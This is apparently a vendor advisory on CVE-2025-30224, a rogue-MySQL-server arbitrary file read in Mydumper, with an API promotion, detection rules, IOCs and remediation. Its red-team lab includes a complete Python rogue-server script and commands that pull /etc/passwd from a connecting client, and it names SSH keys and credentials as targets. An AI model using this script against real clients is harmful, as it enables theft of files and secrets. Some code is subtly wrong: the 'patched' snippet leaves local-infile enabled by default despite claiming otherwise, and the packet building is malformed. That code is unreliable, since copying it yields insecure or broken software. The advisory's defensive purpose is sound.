CVE-2025-30224
Executive Summary
CVE-2025-30224 is a critical security vulnerability in Mydumper, a MySQL logical backup tool. The flaw stems from the MySQL C client library (libmysqlclient) which, by default, allows the LOAD DATA LOCAL INFILE command. An attacker controlling a malicious MySQL server can exploit this to read arbitrary files from the client's filesystem when a Mydumper client connects. This is a classic "rogue MySQL server" attack, enabling sensitive information disclosure (e.g., SSH keys, configuration files, credentials) without requiring authentication on the client side beyond the initial database connection.
The vulnerability is particularly dangerous because Mydumper had the local-infile option enabled by default and lacked any mechanism to disable it. The fix in version 0.18.2-8 adds a --no-local-infile flag and changes the default to disabled.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Mydumper is distributed as a binary package for Linux distributions (e.g., via apt, yum) and as source code on GitHub. The vulnerability affects all versions prior to 0.18.2-8. Users who install Mydumper via package managers should verify they are receiving the patched version. The project is not distributed via NPM, PyPI, Go, or Ruby registries, but the underlying libmysqlclient library is a common dependency in many ecosystems. Any application using libmysqlclient with local-infile enabled is potentially vulnerable.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The attacker must be able to respond to the client's connection request.
- Attack Complexity (AC): Low (L) – No special conditions required beyond a rogue server.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication.
- User Interaction (UI): Required (R) – The victim must connect to the malicious server.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Arbitrary file read from the client system.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is 6.5, the real-world impact is high due to the potential for credential theft and lateral movement. The attack requires the victim to connect to a malicious server, which can be achieved through social engineering, DNS poisoning, or man-in-the-middle attacks.
Deep Dive & Mechanics
The vulnerability is a classic "rogue MySQL server" attack, exploiting the LOAD DATA LOCAL INFILE feature of the MySQL protocol.
The MySQL Protocol: When a MySQL client connects to a server, it can request to load data from a local file using the
LOAD DATA LOCAL INFILEcommand. The server can also request the client to send a file by sending a special packet (a "fake"LOAD DATA LOCAL INFILErequest) during the authentication or query phase.The Flaw in Mydumper: Mydumper, prior to version 0.18.2-8, compiled with
libmysqlclientand enabled thelocal-infileoption by default. It did not provide any command-line flag to disable this behavior. This means that any Mydumper client connecting to a MySQL server is automatically vulnerable to a rogue server attack.Attack Flow:
- An attacker sets up a malicious MySQL server (e.g., using a tool like
mysql-fake-serveror a custom script). - The victim (using Mydumper) connects to the attacker's server, either by mistake (e.g., misconfigured connection string) or through social engineering.
- During the connection handshake, the attacker's server sends a
LOAD DATA LOCAL INFILErequest to the client, specifying a file path on the client's system (e.g.,/etc/passwd,~/.ssh/id_rsa,/etc/mysql/my.cnf). - The Mydumper client, having
local-infileenabled, reads the requested file and sends its contents to the attacker's server. - The attacker captures the file contents.
- An attacker sets up a malicious MySQL server (e.g., using a tool like
Why This is Dangerous: The attack does not require the attacker to have any credentials. The file read happens before any authentication is fully completed, and the client blindly trusts the server's request. This can lead to the exposure of sensitive data, including database credentials, SSH keys, and configuration files.
Vulnerable vs. Patched Code
Vulnerable Code (Mydumper < 0.18.2-8):
The vulnerable code is in the Mydumper source, specifically in the MySQL connection initialization. The mysql_options() call with MYSQL_OPT_LOCAL_INFILE is either not present (defaulting to enabled) or explicitly set to 1.
// Example of vulnerable initialization (conceptual)
MYSQL *conn = mysql_init(NULL);
// No call to mysql_options(conn, MYSQL_OPT_LOCAL_INFILE, &zero);
// This means local-infile is enabled by default.
mysql_real_connect(conn, host, user, password, db, port, socket, 0);
Patched Code (Mydumper >= 0.18.2-8):
The patch introduces a new command-line option --no-local-infile and changes the default behavior to disable local-infile.
// Example of patched initialization (conceptual)
MYSQL *conn = mysql_init(NULL);
my_bool local_infile = 0; // Disabled by default
if (!no_local_infile_flag) {
local_infile = 1; // Only enable if --no-local-infile is NOT set
}
mysql_options(conn, MYSQL_OPT_LOCAL_INFILE, &local_infile);
mysql_real_connect(conn, host, user, password, db, port, socket, 0);
The key change is the addition of the --no-local-infile flag and the default value of local_infile being set to 0 (disabled).
Exploitation & Lab Setup
Red Team (Attack Simulation)
Objective: Demonstrate arbitrary file read from a Mydumper client.
Tools:
- A rogue MySQL server (e.g.,
mysql-fake-serverfrom GitHub, or a custom Python script using themysqlprotocol library). - Mydumper client (vulnerable version, e.g., 0.18.2-7).
Lab Setup:
Attacker Machine (Kali Linux):
- Install
mysql-fake-serveror write a simple Python script. - Run the rogue server on port 3306 (or any port the victim will connect to).
- Configure the rogue server to request
/etc/passwdfrom the client.
- Install
Victim Machine (Ubuntu 22.04):
- Install Mydumper 0.18.2-7.
- Attempt to connect to the attacker's MySQL server using Mydumper.
Exploit Steps:
Attacker starts rogue server:
# Using a Python script (simplified) python3 rogue_mysql_server.py --listen 0.0.0.0:3306 --file /etc/passwdVictim connects:
mydumper --host 192.168.1.100 --user root --password anything --port 3306Attacker captures file: The rogue server receives the contents of
/etc/passwdfrom the victim's machine.
Example Rogue Server Script (Python):
import socket
import struct
def build_greeting():
# Build a fake MySQL greeting packet
protocol_version = 10
server_version = b"5.7.0-fake\x00"
connection_id = 1
auth_plugin_data_part1 = b"12345678\x00"
filler = b"\x00"
capability_flags = 0xffff
character_set = 33
status_flags = 0
capability_flags_2 = 0xffff
auth_plugin_data_len = 21
reserved = b"\x00" * 10
auth_plugin_data_part2 = b"123456789012\x00"
auth_plugin_name = b"mysql_native_password\x00"
packet = struct.pack('<B', protocol_version)
packet += server_version
packet += struct.pack('<I', connection_id)
packet += auth_plugin_data_part1
packet += filler
packet += struct.pack('<H', capability_flags)
packet += struct.pack('<B', character_set)
packet += struct.pack('<H', status_flags)
packet += struct.pack('<H', capability_flags_2)
packet += struct.pack('<B', auth_plugin_data_len)
packet += reserved
packet += auth_plugin_data_part2
packet += auth_plugin_name
return packet
def build_local_infile_request(filename):
# Build a COM_QUERY packet with LOAD DATA LOCAL INFILE
query = f"LOAD DATA LOCAL INFILE '{filename}' INTO TABLE dummy".encode()
packet = struct.pack('<I', len(query) + 1) # packet length
packet += b"\x00\x00\x00" # sequence ID
packet += b"\x03" # command byte (COM_QUERY)
packet += query
return packet
def main():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', 3306))
server_socket.listen(1)
print("[*] Listening on port 3306...")
while True:
client_socket, addr = server_socket.accept()
print(f"[+] Connection from {addr}")
# Send greeting
greeting = build_greeting()
client_socket.send(greeting)
# Receive client response (authentication)
data = client_socket.recv(4096)
print(f"[*] Received auth packet: {data.hex()}")
# Send fake OK packet (to bypass authentication)
ok_packet = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client_socket.send(ok_packet)
# Send LOAD DATA LOCAL INFILE request
infile_request = build_local_infile_request("/etc/passwd")
client_socket.send(infile_request)
# Receive the file contents
file_data = client_socket.recv(4096)
print(f"[+] Received file contents:\n{file_data.decode(errors='ignore')}")
client_socket.close()
if __name__ == "__main__":
main()
Blue Team (Detection & Defense)
Detection:
- Monitor for MySQL connections to unexpected IP addresses.
- Look for
LOAD DATA LOCAL INFILEcommands in MySQL logs (if enabled). - Use network monitoring to detect the specific packet sequence of a rogue server (greeting -> OK -> LOAD DATA LOCAL INFILE).
Defense:
- Immediate: Upgrade Mydumper to version 0.18.2-8 or later.
- Configuration: Use the
--no-local-infileflag when running Mydumper. - Network Segmentation: Restrict outbound MySQL connections to only trusted servers.
- Host-Based Controls: Use
tcpdumporiptablesto block unexpected MySQL traffic. - Application Hardening: If using
libmysqlclientin custom applications, ensureMYSQL_OPT_LOCAL_INFILEis explicitly disabled.
Indicators of Compromise (IOCs)
- Network IOCs:
- MySQL connection to an unknown or suspicious IP address.
- Unusual MySQL packet sequence: Greeting -> OK -> LOAD DATA LOCAL INFILE (without a prior query from the client).
- Outbound traffic on port 3306 to a non-standard server.
- File IOCs:
- Unexpected presence of
/etc/passwd,/etc/shadow,~/.ssh/id_rsa, or other sensitive files in network captures.
- Unexpected presence of
- System IOCs:
- Mydumper process connecting to an unexpected host.
- Mydumper version < 0.18.2-8.
Detection Engineering
YARA Rule
rule CVE_2025_30224_Mydumper_Rogue_MySQL_Server
{
meta:
description = "Detects Mydumper binary with local-infile enabled (vulnerable to CVE-2025-30224)"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30224"
hash = "sha256:EXAMPLE_HASH"
strings:
$s1 = "local-infile" ascii wide nocase
$s2 = "MYSQL_OPT_LOCAL_INFILE" ascii wide nocase
$s3 = "mydumper" ascii wide nocase
condition:
all of ($s1, $s2, $s3) or
($s3 and #s1 > 0)
}
Sigma Rule
title: CVE-2025-30224 - Mydumper Rogue MySQL Server Connection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Mydumper connecting to a potentially malicious MySQL server, indicating exploitation of CVE-2025-30224.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-30224
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/mydumper'
CommandLine|contains: '--host'
condition: selection
falsepositives:
- Legitimate connections to trusted MySQL servers.
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 3306 (msg:"CVE-2025-30224 - Mydumper Rogue MySQL Server Attack"; flow:to_server,established; content:"|0a 00 00 01 00 00 00 02 00 00 00|"; depth:9; offset:0; content:"|03 4c 4f 41 44 20 44 41 54 41 20 4c 4f 43 41 4c 20 49 4e 46 49 4c 45|"; distance:0; within:256; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action:
- Upgrade Mydumper to version 0.18.2-8 or later.
- If upgrade is not possible, use the
--no-local-infileflag (if available in your version) or patch the source code to disablelocal-infile.
Configuration Hardening:
- Always use the
--no-local-infileflag when running Mydumper. - Ensure that MySQL client libraries in other applications also have
local-infiledisabled.
- Always use the
Network Controls:
- Restrict outbound MySQL connections to only known and trusted servers.
- Use firewall rules to block unexpected traffic on port 3306.
Monitoring:
- Enable MySQL query logging to detect
LOAD DATA LOCAL INFILEcommands. - Monitor for Mydumper connections to unusual IP addresses.
- Enable MySQL query logging to detect
Long-Term:
- Conduct a security review of all applications using
libmysqlclient. - Implement a policy to disable
local-infileby default in all MySQL client configurations.
- Conduct a security review of all applications using
Valters IT
DevSecOps & Cyber Threat Intelligence